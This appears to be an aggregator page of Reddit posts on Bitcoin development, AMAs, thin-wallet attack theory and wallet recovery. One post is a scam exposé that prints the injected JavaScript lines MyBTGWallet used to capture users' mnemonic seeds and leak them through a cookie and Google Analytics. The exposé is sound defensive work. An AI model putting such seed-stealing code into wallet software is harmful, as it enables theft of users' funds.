Bitcoin erklärt: So funktioniert Blockchain - computerwoche.de

How to Communicate with Bitcoin Cash Blockchain Using Bitcoinj

submitted by ABitcoinAllBot to BitcoinAll [link] [comments]

How to Communicate with Bitcoin Cash Blockchain Using Bitcoinj

How to Communicate with Bitcoin Cash Blockchain Using Bitcoinj submitted by cryptoanalyticabot to cryptoall [link] [comments]

How to verify if a transaction is correctly signed?

Given an arbitrary signed raw transaction, how can we easily verify if all inputs are correctly signed (admiting all UTXOs are present and fee is higher than zero)? I know there is an RPC command in bitcoin core testmempoolaccept but this will also check if all inputs are available to be spent in the mempool/blockchain and I want to test a transaction that is a child to a parent transaction that has not yet been broadcasted.
The signed transaction instance could have the scriptPubKey of the used utxos stored as metadata (since it needs to know these to sign each input) and use the stored utxos to perform this validation - alternatively, the verification method could ask for the scriptPubKeys of the utxos as input. I was looking for some nice way to do this in python but was surprised how neglected this task is:
EDIT: converting to PSBT is not possible/easy so the last option I mentioned won't work. I have the transactions in serialized 'network' format (what you get from `bitcoin-cli getrawtransaction hex')
EDIT2: escalated to bitcoin stack exchange: https://bitcoin.stackexchange.com/questions/96759/how-to-verify-if-a-transaction-is-correctly-signed
submitted by johnturtle to BitcoinBeginners [link] [comments]

How to get balances for address associated with Private Key bitcoinq/rpc

Hello,
I've been testing some things out with nodejs and bitcoin. I have a question, how do all these blockchain explorers show the balance for addresses that they dont own?
My end goal is to show the balance for addresses that are mine, I have the associated private keys and the addresses because i generated using bitcoinjs-lib.

I can use: importprivkey but I'm not entirely sure what is next aftewards.
Anybody have the exact commands i need to do in order to get the balances of addresses i own.

Thanks,
submitted by ConkerRob to Bitcoin [link] [comments]

Please post and upvote your questions for Vitalik Buterin (u/vbuterin) - Ethereum Community Series, pt3.

Hi everyone, If you don't know what the "Ethereum Community series" is, please find the two first talks with u/jtnichol and Ameen Soleimani here:
Today I'm happy to announce guest number three: Vitalik Buterin (u/vbuterin). Vitalik is the founder of Ethereum (find out more about the prehistory of Ethereum), currently focussing on Eth2.0 research and L1 scaling (sharding). You might want to check On politics, with Glen Weyl (book review) and a broader introduction to Ethereum from Disrupt SF.
From Bitcoinmagazine.com: "Vitalik Buterin is a co-founder of Bitcoin Magazine who has been involved in the Bitcoin community since 2011, and has contributed to Bitcoin both as a writer and the developer of a fork of bitcoinjs-lib, pybitcointools and multisig.info, as well as one of the developers behind Egora. Now, Vitalik's primary job is as the main developer of Ethereum, a project which intends to create a next-generation smart contract and decentralized application platform that allows people to create any kind of decentralized application on top of a blockchain that can be imagined."
He's @vitalikbuterin on Twitter.
Feel free to post and upvote one or more questions you'd like him to answer. Questions can be submitted until Tuesday. Thank you again for all the great feedback so far and thank you to all who have submitted questions in the past. I'm looking forward to this one. :)
Edit: before submitting a question, please go through the comments and see if someone else has asked something similar. It makes my job a bit easier. You can "second" the comment (and upvote) so that I know it was a question of yours, too.
submitted by krokodilmannchen to ethtrader [link] [comments]

I’m Stefan Thomas and I introduced millions of people to Bitcoin, was in charge of the technology for the third largest cryptocurrency, and hate blockchain. AMA!

Hello!
My name is Stefan Thomas. I started programming when I was four years old and have been addicted to it ever since.
Starting in 2010, I got involved with Bitcoin, produced the “What is Bitcoin?” video that introduced millions of people to Bitcoin, and created BitcoinJS, the first implementation of Bitcoin cryptography in the browser.
My dream was to make crypto-currency mainstream, so in 2012 I joined a startup called Ripple. I told them that I wanted to be a coder only, and not a manager. Eight months later, they made me CTO. While I was there, we built a blockchain that is 200x faster, 1000x cheaper, and vastly more energy-efficient than Bitcoin. The underlying cryptocurrency, XRP, is now the third-largest in the world.
I think cryptocurrency is a powerful idea, politically and economically. But managing a blockchain system at scale sucks. A shared ledger, by definition, is a tightly coupled system, something we engineers spend much of our time trying to avoid, with good reason. So what comes after blockchain?
Interledger is a (non-blockchain) payment protocol I helped create in 2015. Interledger is able to process transactions faster, and at a much larger scale than blockchain systems. It’s closer to something like TCP/IP - it has no global state and passes around little packets of money similar to how IP passes around packets of data.
Last year, I founded a company called Coil. We’re using Interledger to create a better business model for creators on the Web. Instead of putting a company in the middle like Spotify or Netflix, we’re putting an open standard in the middle and companies like ours compete to provide access. Some members of our community created a subreddit at CoilCommunity.
Proof: https://i.redd.it/5duaiw8yyuz21.jpg
Edit: Alright, I'm out of time. Thanks to everyone who asked questions and I hope my answers were helpful. Sorry if I didn't get to your question - I might go back to this page in the future and tweet or blog to address some of things that were left unanswered.
submitted by justmoon to IAmA [link] [comments]

AMA: Ask Mike Anything

Hello again. It's been a while.
People have been emailing me about once a week or so for the last year to ask if I'm coming back to Bitcoin now that Bitcoin Cash exists. And a couple of weeks ago I was summoned on a thread called "Ask Mike Hearn Anything", but that was nothing to do with me and I was on holiday in Japan at the time. So I figured I should just answer all the different questions and answers in one place rather than keep doing it individually over email.
Firstly, thanks for the kind words on this sub. I don't take part anymore but I still visit occasionally to see what people are talking about, and the people posting nice messages is a pleasant change from three years ago.
Secondly, who am I? Some new Bitcoiners might not know.
I am Satoshi.
Just kidding. I'm not Satoshi. I was a Bitcoin developer for about five years, from 2010-2015. I was also one of the first Bitcoin users, sending my first coins in April 2009 (to SN), about 4 months after the genesis block. I worked on various things:
You can see a trend here - I was always interested in developing peer to peer decentralised applications that used Bitcoin.
But what I'm best known for is my role in the block size debate/civil war, documented by Nathaniel Popper in the New York Times. I spent most of 2015 writing extensively about why various proposals from the small-block/Blockstream faction weren't going to work (e.g. on replace by fee, lightning network, what would occur if no hard fork happened, soft forks, scaling conferences etc). After Blockstream successfully took over Bitcoin Core and expelled anyone who opposed them, Gavin and I forked Bitcoin Core to create Bitcoin XT, the first alternative node implementation to gain any serious usage. The creation of XT led to the imposition of censorship across all Bitcoin discussion forums and news outlets, resulted in the creation of this sub, and Core supporters paid a botnet operator to force XT nodes offline with DDoS attacks. They also convinced the miners and wider community to do nothing for years, resulting in the eventual overload of the main network.
I left the project at the start of 2016, documenting my reasons and what I expected to happen in my final essay on Bitcoin in which I said I considered it a failed experiment. Along with the article in the New York Times this pierced the censorship, made the wider world aware of what was going on, and thus my last gift to the community was a 20% drop in price (it soon recovered).

The last two years

Left Bitcoin ... but not decentralisation. After all that went down I started a new project called Corda. You can think of Corda as Bitcoin++, but modified for industrial use cases where a decentralised p2p database is more immediately useful than a new coin.
Corda incorporates many ideas I had back when I was working on Bitcoin but couldn't implement due to lack of time, resources, because of ideological wars or because they were too technically radical for the community. So even though it's doesn't provide a new cryptocurrency out of the box, it might be interesting for the Bitcoin Cash community to study anyway. By resigning myself to Bitcoin's fate and joining R3 I could go back to the drawing board and design with a lot more freedom, creating something inspired by Bitcoin's protocol but incorporating all the experience we gained writing Bitcoin apps over the years.
The most common question I'm asked is whether I'd come back and work on Bitcoin again. The obvious followup question is - come back and work on what? If you want to see some of the ideas I'd have been exploring if things had worked out differently, go read the Corda tech white paper. Here's a few of the things it might be worth asking about:
I don't plan on returning to Bitcoin but if you'd like to know what sort of things I'd have been researching or doing, ask about these things.
edit: Richard pointed out some essays he wrote that might be useful, Enterprise blockchains for cryptocurrency experts and New to Corda? Start here!
submitted by mike_hearn to btc [link] [comments]

With all of the hullabaloo about a thin Dogecoin wallet, specifically naming Electrum, I went and analyzed both Electrum and the official P2P protocol's own thin-client support. I think I might have found a really big problem with them.

…and the thing that’s really got my jimmies rustled is how obvious the problem appears on the surface, and how I can’t find anyone else talking about it. So if you all don’t mind, I’ll go ahead and describe what I think could be the achilles heel of contemporary crypto currency thin clients. I'll be making some really strong assertions, but if anyone has any information that contradicts them, please share!
EDIT: By request from jdk, an abstract of sorts:
Light cryptocurrency wallets take absence of evidence as evidence of absence. Since they cannot verify that the nodes they are talking to have told them the full truth, it's possible that they will miss some incoming transactions.
I describe three attacks:
1. The simplest one don't tell the client about certain transactions. Because bitcoinj ignores block headers it has already seen, this attack is super effective! against it. Electrum, too, so long as all the nodes it's connected to all agree to not tell it. Once someone does tell it about a past transaction, it verifies it, and then adds it to your wallet. Unfortunately, this can be used to facilitate the third attack.
2. (This only applies to Electrum) A slightly more complicated attack has the attack nodes refuse to acknowledge a single outgoing transaction. Because Electrum always uses the oldest transactions to create new transactions, and because it takes absence of evidence as evidence of absence, you can freeze a user's wallet for as long as they are connected to you, or if they don't inspect older blocks. But, again, inspecting older blocks opens you up to the third attack.
3. A merchant and an attacker can conspire against you to trick you into sending your coins twice. They do this by running the second attack, then back-feeding older transactions so your client will attempt to spend those first. This will work as long as you, the user, try to re-initiate the transaction that supposedly failed.
If you haven’t already read the Bitcoin White Paper, I suggest you go ahead and read it, specifically Section 8 on Simplified Payment Verification. I found it to be fairly straightforward, and it should give you enough background to understand what’s going on. I'm also discussing Electrum and bitcoinj, the latter being a specific example of a client which, by default, relies on Simplified Payment Verification, henceforth known as SPV.
When people speak of "thin" clients, they are referring to clients that do not download all of the transactions in a block along with the block headers. Instead, they only download some of them. Because a block containing transactions links to its transactions by way of a Merkle tree, it is possible to omit a majority of transactions, yet still verify that the ones given were indeed present in the block. It is this property of Merkle trees that allows SPV to be possible.
Electrum came about just when the Bitcoin blockchain became too large for most people to stomach, a lot like what is happening with the Dogecoin blockchain now. The mechanics of SPV had been known in the community for as long as the white paper was released publicly, but the core protocol did not directly support it. Electrum was a series of cute, workable hacks that resulted in an SPV client, but also a client-server architecture and a completely different RPC protocol. At the time, it was necessary in order to receive the filtered transaction notifications necessary to efficiently implement SPV. However, the core Bitcoin Peer-to-Peer protocol now supports the capability of notifying peer nodes of what kinds of transactions of which you wish to be notified. The peers will always respond with blockchain headers, and in the event that any interesting transactions appear to be found, the Merkle branches of those transactions. The client then filters out the false positives (in order to efficiently implement this, the protocol uses a data structure called a Bloom Filter to encode the interesting wallets in a compact manner. It is susceptible to false positives, but that's OK, because you can safely ignore them) and verifies that the transactions sent were actually part of the block by rebuilding the Merkle root and comparing it to that of the block.
This is all well and good from an efficiency standpoint, but any sort of *coin being a type of currency, and thus demanding a high standard of security, I hold some gripes about both Electrum in particular and SPV in general that I feel make them unsuitable for the purposes for which they are currently being used.
The Electrum client begins its connection to the Bitcoin network through a series of hard-coded individual servers. There is a mechanism for describing more peers through IRC; the channels for which are provided by the servers contacted at start-up. I fear that this design empowers both the authors of the client and the owners of the seed servers far too much. In collusion, administrators of the seed servers could elect to not run IRC channels at all, or, alternatively, moderate out any servers from non-colluding parties. This could be used to facilitate something disastrous, particularly what I am about to describe.
In general, SPV provides excellent protection from false positives. Any transaction received with a Merkle branch must continue to hash to the proper child value until the Merkle root is reached. If the Merkle root is linked to a trusted block in the blockchain, its existence in the network is proved. But, it is computationally infeasible to protect from false negatives in a SPV scheme. All the peers need to do is refuse to pass on certain transactions. The client will be none the wiser for it, because the client never knew about them in the first place.
This can obviously be used to facilitate an “output garnishing” attack: simply ignore certain transactions outputting to a certain wallet when responding to the client. The client will not be able to see that there are more unspent outputs to its wallets, because he trusts and relies on his peers to do that instead.
"Output garnishing" can be reworked into a "wallet freezing" attack that completely locks the client out of the network. The attacking node may elect to pass an outgoing transaction to the network, but fail to relay the transaction’s status to the client. The client will believe that the transaction was unsuccessful, and because both Electrum and bitcoinjEDIT: bitcoinj marks outgoing transactions as "pending" and won't double-spend them deterministically attempts to spend the oldest transactions first, any further attempts to create transactions will be seen as a double-spend attempt by the network. As long as the client is only communicating with the attacking nodes, he is incapable of making any further purchases.
In Electrum, the solution may be trivial. Download the client source, modify the seed server list to be more trustworthy. Still, that there is now explicit trust in the network nodes is a far cry from the security of the original protocol design.
In bitcoinj, there is no solution. In fact, an attacker only needs to control one node; bitcoinj simply ignores all further communication about valid blocks it has seen only once before! The comments in the bitcoinj source code seem to suggest this was a performance optimization. However, not doing this would open bitcoinj up to another type of attack, to which Electrum is already vulnerable: a “double-purchasing” attack.
EDIT: The preceding paragraph doesn't completely apply as per the previous edit, but I'm leaving it in for consideration with regards to the first attack. Bitcoinj still ignores older blocks, even if they have new, relevant transactions in them.
Suppose a merchant M is in collusion with an attacker A who runs a series of nodes N0…Nn. Suppose also, that a client C, using a wallet Wc, wishes to purchase from M, using a wallet Wm, both of which are known to M and subsequently A.
A constructs N0…Nn such that certain transactions to Wc are silently ignored (call them Ti); valid in the network but never delivered to C. A waits until there are no more unspent transactions to Wc not in Ti older than some T in Ti. Upon an attempted transaction (Wc -> Wm)0, Nk with 0 <= k <= n sends the transaction to other peers but does not respond to C. Instead, Nk responds with some Ts0…Tsn in Ti such that the sum of outputs in Ts0…Tsn to Wc is greater than or equal to the outputs of (Wc -> Wm)0. C accepts these Ts0…Tsn. An unaware user may elect to begin a new transaction (Wc -> Wm)1 in lieu of a response regarding (Wc -> Wm)0. Because (Wc -> Wm)1 will use as inputs from unspent transaction outputs not used in (Wc -> Wm)0, indeed not yet used at all, the network will accept both transactions as valid! A may elect to continue this process for any (Wc -> Wm)n so long as the sum of all Tin in Ti is sufficient to cover the costs of all Tout in (Wc -> Wm)0…(Wc -> Wm)n. A has effectively coerced C into double-purchasing.
Even if Electrum and bitcoinj randomly chose unspent outputs as inputs for the new transaction, as does the reference Bitcoin client, the probability that such an attack could succeed at least once is directly proportional to the input activity of the target wallet, and the attacker would only need to withhold that particular outgoing transaction to succeed!
I’m looking for some peer review on this. If these scenarios are possible, the proliferation of SPV clients for Bitcoin (and perhaps in the future, Dogecoin) could make an adversary’s life very easy! Again, constructive hole-poking and educative discussion weakening this hypothesis are very, very welcome.
EDIT: And I'm all out of characters! More edits will end up in the comments.
submitted by chia_pet to dogecoin [link] [comments]

I'm trying to put together a list of what's coming out this year. Have this very simple list so far. Anyone care to add anything or suggest some better dates?

Latest News (most recent first) - Instant channels enable safe Lightning payments with unconfirmed funding Beta - Feb 10, 2019 - Voyager, New trading app from Uber & E-Trade execs announce launch date - Feb 9, 2019 - bumi/blockstream_satellite ruby gem for the Blockstream Satellite API - Feb 8, 2019 - New Zap Desktop 0.3.4 is out. New features, massive performance - Feb 8, 2019 - New release: @lightning desktop app v0.4.0-alpha - Feb 8, 2019 - valerio-vaccaro/Liquid-dashboard - Feb 7, 2019 - Japanese SBI Holdings will allow trading of coins - March 2019 - lnd v0.5.2-beta released - Feb 6, 2019 - Koala studios launches online LN gaming platform - Feb 6, 2019 - Independent Reserve has become the first #crypto exchange in Australia to be insured, with coverage underwritten by Lloyd's of London. - Feb 6, 2019 - Coinbase announces BTC support for their mobile (keep your own keys) wallet - Feb 6, 2019 - Blockstream published a new open source Proof of Reserves tool. - Feb 5, 2019 - RTL release v0.1.14-alpha - Feb 5, 2019 - dr-orlovsky/typhon-spec spec for new trestles side chain published - Feb 5, 2019 - Payment requests coming soon to BTCPay. - Feb 5th, 2019 - Kraken Acquires Futures Startup In Deal Worth At Least $100 Million - Feb 5th, 2019 - Next Blockchain cruise scheduled for June 9-13 - Feb 4, 2019 - Work on a GoTenna plugin to Electrum wallet in progress - Feb 4, 2019 - Bitcoin Candy Dispensers being open sourced - Feb 4, 2019 - New release of JoinMarket v0.5.3 - Feb 4, 2019 - Prime Trust won’t charge its clients to custody digital assets any longer. - Feb 4, 2019 - nodogsplash/nodogsplash wifi access using LN - Feb 3, 2019 - @tippin_me Receive tips using Lightning Network adds message feature - Feb 3, 2019 - Bitcoin-for-Taxes Bill in NH Unanimously Approved by House Subcommittee - Feb 3, 2019 - Full support for native segwit merged into bitcoinj - Feb 3, 2019 - Bitfury is partnering with financial services firm Final Frontier! - Feb 2, 2019 - Now you can open #LightningNetwork channels in @LightningJoule - Feb 2, 2019 - Integrating Blockstream’s Liquid payments on SideShift AI - Feb 1, 2019 - Wyoming legislature passes bill to recognize cryptocurrency as money - Feb 1, 2019 - Casa is open sourcing the code for the Casa Node - Feb 1, 2019 - Casa Browser Extension released - v0.5.2-beta-rc6 of lnd, full release getting very close now - Feb 1, 2019 - Tallycoin adds subscriptions and paywall features in bid to rival Patreon - Jan 31, 2019 - Static channel backup PR merged into LN - Jan 31, 2019 - The NYDFS grants another Bitlicense to ATM operator - Jan 31, 2019 - @pwuille currently proposing the “MiniScript” language to describe BTC output locking conditions for practical composition - Jan 31, 2019 - Fidelity is in the “final testing” phase for its new digital asset business - Jan 31, 2019 - Hardware wallet PR #109 just got merged so that @Trezor no longer requires user interaction for PIN - Jan 31, 2019 - CBOE, VanEck & SolidX filed a new & improved bitcoin ETF proposal. - Jan 31, 2019 - Casa Node code is now open sourced - Jan 31, 2019 - Next Bitoin halving in roughly 497 days - Jan 31, 2019 - BTCPay released 1.0.3.53 - Jan 31, 2019 - @binance now lets users purchase cryptos using Visa and Mastercard credit. - Jan 31, 2019 - Bitfury to Launch Bitcoin Operations in Paraguay - Jan 31, 2019 - Coinbase introduces very generous affiliate program - Jan 30, 2019 - DOJO Trusted Node bitcoin full node. Coming Early 2019 - Jan 30, 2019 - FastBitcoins.com Enables Cash-for-Bitcoin Exchange Via the Lightning Network - Jan 30, 2019 - TD Ameritrade says clients want cryptocurrency investment options - company plans major announcement in 'first half of 2019' - Jan 30, 2019 - Storage component of Fidelity's @DigitalAssets live, with some assets under management, @nikhileshde - Jan 29, 2019 - lightning mainnet has reached 600 BTC capacity - Jan 29, 2019 - Drivechain shows picture of Grin side chain and suggests might be ready in 2 month - Jan 29, 2019 - Lightning labs iOS neutrino wallet in testing stage now - Jan 29, 2019 - Aliant offering cryptocurrency processing free-of-charge - Jan 29, 2019 - Chainstone’s Regulator product to manage assets on the way - Jan 29, 2019 - Fidelity Investments’ new crypto custody service may officially launch in March. - Jan 29, 2019 - Gemini's becomes FIRST crypto EXCHANGE and CUSTODIAN to complete a SOC 2 Review by Deloitte - Jan 29, 2019 - Iran has lifted the ban on Bitcoin and cryptocurrency - Jan 29, 2019 - Confidential Transactions being added into Litecoin announcement - Jan 28, 2019 - http://FastBitcoins.com Enables Cash-for-Bitcoin Exchange Via the Lightning Network - Jan 28, 2019 - Germany’s largest online food delivery platform now accepts btc - Jan 27, 2019 - Launching a Bitcoin Developers School in Switzerland - Jan 27, 2019 - RTL release v0.1.13-alpha Lightning Build repository released - Jan 27, 2019 - The first pay-per-page fantasy novel available to Lightning Network. - Jan 27, 2019 - Numerous tools become available to write messages transmitted with Blockstream Satellite - Jan 26, 2019; - BTCPay 1.0.3.47 released - Jan 26,2019 - WordPress + WooCommerce + BTCPay Plugin is now live - Jan 25, 2019 - Juan Guaido has been promoting #Bitcoin since 2014 is new interim president of Venezuela - Jan 25, 2019 - Morgan Creek funds @RealBlocks - Jan 25, 2019 - Coinbase integrates TurboTax - Jan 25, 2019 - Robinhood received Bitlicense - Jan 25, 2019 - Anchor Labs launches custody - Jan 25, 2019 - NYSE Arca files w/ @BitwiseInvest for BTC ETF approval - Jan 25, 2019 - South Korea, Seoul, Busan & Jeju Island currently working to create pro crypto economic zones. - Jan 25, 2019 - valerio-vaccaro/Liquid-dashboard - Jan 25, 2019 - Bermuda to launch crypto friendly bank - Jan 25, 2019 - Mobile Bitcoin Wallet BRD Raises $15 Million, Plans for Expansion in Asia - Jan 25, 2019 - BullBitcoin rolling out alpha access of platform - Jan 25, 2019 - Electrum Wallet Release 3.3.3 - Jan 25, 2019 - Bitrefill, purchase Bitcoin and have it delivered directly over LN - Jan 25, 2019 - South Korean crypto exchange Bithumb looking to go public in USA - Jan 24, 2019 - Bitcoin Exchanges Don’t Need Money Transmitter Licenses in Pennsylvania - Jan 24, 2019 - US; New Hampshire Bill Aims to Legalize Bitcoin for State Payments in 2020 - Jan 24, 2019 - Robinhood, LibertyX Receive Licenses from New York Regulators - Jan 24, 2019 - Bakkt Bitcoin futures contract details released - Jan 24, 2019 - Blockstream CryptoFeed V3 now includes 30+ venues and 200M+ updates per day - Jan 24, 2019 - Binance Jersey – The Latest Binance European Exchange - Jan 2019
Commit Activity
Nodes and Market Dominance
Bitcoin
Financial
Lightning:
ASIC Miners:
Will update this section when I hear new developments
Wallets:
Hardware wallets:
LN
LN Apps:
LN Extensions / Launchers
LN Desktop wallets:
LN Mobile wallets:
LN Network:
LN Nodes:
LN Plugins:
LN Services:
Liquid Network
Rgulatory:
Exchanges:
Payments:
Please comment if you have any ideas on dates. Many of these dates are placeholders waiting for me to update. If you comment then I will update the post.
submitted by kolinHall to Bitcoin [link] [comments]

BU, XT, and Core node counts now differ by orders of magnitude (~43, ~430, ~4300).

BU, XT, and Core node counts now differ by orders of magnitude (~43, ~430, ~4300). submitted by VaselineSlug to bitcoinxt [link] [comments]

My analysis of the $1 million+ USD MyBTGWallet.com scam

Pre-content edit: Many of the links have been edited to be "hxxp" links and moved to the end of the post to minimize the chance of somebody accidentally accessing malicious software. If you try to visit a link and it doesn't appear valid, check if it's an "hxxp" link and change it to "http"
Search the Internet (or reddit) for mybtgwallet today, and you'll find several results about people losing all of their Bitcoin after inputting their mnemonic phrase into MyBTGWallet, a website claiming to be an online web wallet for Bitcoin Gold where users could check their BTG balance and, ostensibly, one day use the website to transact with their Bitcoin Gold.
I have no reason to believe that anybody involved with Bitcoin Gold was involved with this scam, but they did have a conversation with the creator of the website and help him test its balance reporting features[1] and did list it under the Wallets section of their website from November 12[2] to November 14[3], so at the very least they are guilty of carelessness and negligence.
In reports online, many affected users reported their Bitcoin having been swept to this wallet, although this website lists several other Bitcoin wallets, totalling over $1 million USD in stolen Bitcoin.
The source code for the site technically exists[4], but the repository has an upload date of November 15, where the conversation linked above took place last month. Clearly the repository was deleted and the code was scrubbed and reuploaded.
(Note from Future Uejji: The link above is broken. At the time I made this post, it contained a clean version of the scam code. I don't believe you're missing out by not being able to examine it today.)
Luckily, while trying to "help" audit the MyBTGWallet code, Technophant forked[5] the code, which gave us donate address for JohnDass. Notice also that this address was displayed on the site on November 13[6] but was changed by the next day[7].
(Note from Future Uejji: It doesn't seem like the version of the code Technophant forked and audited contained the malicious code I describe below. However, I don't think this should excuse the team from revalidating it once the website went live.)
It seems as if JohnDass tried to cover his tracks. However, the address above has a transaction linking it to the above mentioned scammer's wallet. Either JohnDass himself was also scammed by his very own wallet or he is the actual scammer.
Now, that's all well and good, but how did he do it?
My first clue was the snapshot version of bitcoinjs.min.js[8]. Despite being a .min.js, the code was niceified. So I compared it against a legitimate version of the bitcoinjs code and found an interesting change.
In hdnode.js, lines 34,35:
if (seed.length < 16) throw new TypeError('Seed should be at least 128 bits')
if (seed.length > 64) throw new TypeError('Seed should be at most 512 bits')
Compare this to the version on MyBTGWallet:
if (seed.length < 16) throw new TypeError('Seed should be at least 128 bits')
if (window.gtagm) {document.cookie='_gtag='+btoa(window.gtagm);delete window.gtagm;}
if (seed.length > 64) throw new TypeError('Seed should be at most 512 bits')
This son-of-a-bitch buried this nefarious line of code right in the middle of the bitcoin javascript library. But what does it do?
Well, I checked the website's other javascript files for gtag, and here's what I found:
MyBTGWallet's version of bip39.min.js[9] has also been niceified. I don't have to compare it to the actual source, though, because searching for gtag brought up this section:
function mnemonicTowords(mnemonic){
if(!window.gtagm) window.gtagm = mnemonic;
}
Two guesses what the mnemonic variable is. This function is called just a few lines up in the same file:
function mnemonicToSeed (mnemonic, password) {
var mnemonicwords = mnemonicTowords(mnemonic);
So, whenever mnemomnicToSeed() is called, the user-input mnemonic is saved to window.gtagm, which later on is obfuscated to Base64 (which is what the btoa() function does), and then appended to a _gtag parameter on the document cookie. Any of you who have ever used Google Analytics might see where this is going.
At the very end of the website's primary javascript code[10] lives a little bit of code meant to enable Google Analytics, which happily snaps up the user's cookie on the site and stores it for the scammer to view later.
Note that this was just a small amount of code that enabled this scheme. Even trying to trace what connections the website was making all looked legit, except for Google Analytics, which he claimed to be using to track website usage.
So, to summarize, every time someone entered their mnemonic seed into MyBTGWallet, their mnemonic was Base64 encoded, stored on the website cookie and then transmitted to Google, where the scammer was free to decode it and have full access to that person's private keys derived from that seed.
And that's how somebody scammed the Bitcoin community out of over $1 million USD and scammed the Bitcoin Gold team into recommending his website to do so.
EDIT: Some grammar and formatting.
EDIT 2: Some extra info about Technophant's fork of the code.
EDIT 3: It looks like archive.org is being inconsistent about the availability of the above links. They were all available when I posted the links. Probably some of their servers have the files and others don't.
EDIT 4: Several people have talked about hoping this scammer could be tracked down, etc. While not impossible, I consider it practically impossible that this person will be tracked down.
I primarily made this post to illustrate how simple this entire attack was from start to finish. So, here's my tl;dr for you:
  1. Always assume somebody is going to try to steal your crypto, especially if it's Bitcoin.
  2. Never trust anybody with your private key or mnemonic, even if you would trust that person otherwise.
  3. To expand on 2, IF ANYBODY TELLS YOU THAT A THIRD PARTY CAN BE TRUSTED WITH YOUR PRIVATE KEY OR MNEMONIC, YOUR DEFAULT ACTION SHOULD BE DISTRUST. Distrust the third party and distrust whoever is telling you to trust the third party, unless/until safety can be rigorous proven.
  4. Your private key or mnemonic is the only thing proving that you own and can control your crypto. DO NOT GIVE IT TO ANYONE. DO NOT ENTER IT ANYWHERE IT COULD BE COPIED OR STORED. DON'T EVEN COPY AND PASTE IT IF YOU CAN HELP IT.
  5. Finally, WHEN YOUR CRYPTO IS GONE, IT IS GONE. There is no company to give you a refund, no bank to reverse your transaction. Any stories you read about stolen crypto that was recovered were just stories. Never assume they could happen to you.
PEOPLE ARE GOING TO TRY TO MANIPULATE YOU INTO GIVING THEM ACCESS TO YOUR CRYPTO. IF YOU LET THEM, YOUR CRYPTO WILL BE GONE FOREVER.
EDIT 5: Kyhwanapardus used the information in this post to produce this analysis from the Google Analytics side.
FOOTER: Here are the links referenced in the main body of this post.
[1]: hxxps://github.com/BTCGPU/BTCGPU/issues/100
[2]: hxxps://web.archive.org/web/20171112163946/hxxps://bitcoingold.org/
[3]: hxxps://web.archive.org/web/20171114222234/hxxps://bitcoingold.org/
[4]: hxxps://github.com/John-Dass/btcgpuwallet
[5]: hxxps://github.com/Technophant/btcgpuwallet
[6]: hxxps://web.archive.org/web/20171113184358/hxxps://mybtgwallet.com/
[7]: hxxps://web.archive.org/web/20171114235844/hxxps://mybtgwallet.com/
[8]: hxxps://web.archive.org/web/20171115010145js_/hxxps://mybtgwallet.com/bitcoinjs/bitcoinjs.min.js?v=20171108
[9]: hxxps://web.archive.org/web/20171115010146js_/hxxps://mybtgwallet.com/bitcoinjs/bip39/bip39.min.js?v=20171108
[10]: hxxps://web.archive.org/web/20171115010146js_/hxxps://mybtgwallet.com/application.js?v=20171110
submitted by Uejji to btc [link] [comments]

Announcing launch of new TezosJ SDK for plain Java

Now you can add Tezos wallets to your Eclipse projects and create desktop applications!
TezosJ-plainjava
TezosJ SDK plain Java version
The TezosJ SDK library enables plain Java developers to create applications that communicates with Tezos blockchain.
The library is written in Java and is based on Gradle framework. This repository contains the library source code and a Main class to test some features.
Requirements
Java 8 Windows / Linux (not tested yet) / Mac (not tested yet) Eclipse or another Java IDE.
Getting started
Clone the repository, import into your Java IDE and run the Main class. Or (soon)... Download the JAR file from JCENTER (bintray.com/milfont/tezos/tezosj_plainjava/0.9.0/tezosj-sdk-plain-java-0.9.0.jar) and put in your project's classpath. Or (soon)... Add to your build.gradle dependencies: compile 'com.milfont.tezos:tezosj_plainjava:0.9.0'
Usage
// Creates a new wallet with a passphrase. TezosWallet wallet = new TezosWallet("myPassphrase");
// Shows some wallet data output. System.out.println(wallet.getMnemonicWords()); System.out.println(wallet.getPublicKeyHash()); System.out.println(wallet.getBalance());
// Imports a previously owned wallet with mnemonic words and passphrase. // TezosWallet wallet2 = new TezosWallet("word1 word2 ... word15", "myPassphrase");
// Shows some wallet data output. // System.out.println(wallet2.getMnemonicWords()); // System.out.println(wallet2.getPublicKeyHash()); // System.out.println(wallet2.getBalance());
// Saves the current wallet from memory to file. wallet.save("c:\temp\mySavedWallet.txt");
System.out.println("Saved the wallet to disk.");
// Creates a new wallet by reading from file. TezosWallet myLoadedWallet = new TezosWallet(true, "c:\temp\mySavedWallet.txt", "myPassphrase");
System.out.println("Loaded the wallet from disk:");
// Shows loaded wallet data. System.out.println(myLoadedWallet.getMnemonicWords()); System.out.println(myLoadedWallet.getPublicKeyHash()); System.out.println(myLoadedWallet.getBalance());
// Example of Sending funds. // BigDecimal amount = new BigDecimal("1"); // JSONObject jsonObject = wallet2.send("tz1FromAddress", "tz1ToAddress", amount, "0", "", ""); // System.out.println(jsonObject.get("result"));
Disclaimer
This software is at Beta stage. It is currently experimental and still under development. Many features are not fully tested/implemented yet. This version uses Tezos Betanet (!)
Features
Create valid Tezos wallet address Get account balance Send funds
The main purpose of TezosJ SDK library is to foster development of applications in plain Java that interacts with Tezos ecosystem. This might open Tezos to a whole world of software producers, ready to collaborate with the platform. TezosJ is to play the role of a layer that will translate default Java method calls to Tezos's network real operations (create_account, transfer_token, etc.)
Credits
TezosJ is based on Stephen Andrews' EZTZ Javascript library TezosJ is also based on ConseilJS from Cryptonomic TezosJ uses LazySodium TezosJ uses BitcoinJ Java Library Special thanks to Tezzigator for providing the code for Tezos Key Generation in Java.
submitted by Milfont to tezos [link] [comments]

Attempting to recover the old wallet part 2

If you remember, I was trying to recover an old wallet in this post:
https://www.reddit.com/litecoin/comments/9i3ijb/found_my_old_litecoin_wallet_and_it_may_save_my/
I had basically given up and then I found the original litecoin.dat file a couple of days ago and decided to attempt it once again.
Here is my current problem. I install the new Litecoin software, then delete the existing wallet and copy my old wallet in (and change the name to wallet.dat). However it now seems as though it doesn't actually import the wallet but is merely wiping it out completely - don't worry I have like five backups now.
Are there old windows binaries that I could download? I could try it on Linux but the required files are all out of date for a wallet with a date of January 2014.
Any help or ideas would be appreciated once again.

EDIT: It's been a little over a week and here are the things I have tried.
  1. Complete reinstall of blockchain, app, etc. - RESULT: When I replace wallet .dat with my renamed litecoin.dat is acts as though there is nothing there. However, I have pulled keys from it that don't import into anything I can find and it will unlock using the walletpassphrase command from the debug console.
  2. using bitcoinj - RESULT: I'm so lost, I can't even begin to know where to start
